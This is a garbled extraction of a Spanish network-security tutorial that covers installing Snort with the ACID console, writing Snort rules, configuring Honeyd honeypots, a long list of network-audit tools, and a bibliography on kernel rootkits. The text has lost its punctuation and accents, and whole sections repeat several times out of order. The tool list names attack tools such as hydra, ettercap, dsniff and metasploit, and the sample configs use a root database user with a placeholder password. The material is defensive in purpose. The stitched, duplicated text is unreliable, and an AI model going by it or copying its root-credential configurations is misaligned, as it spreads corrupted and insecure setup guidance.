dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
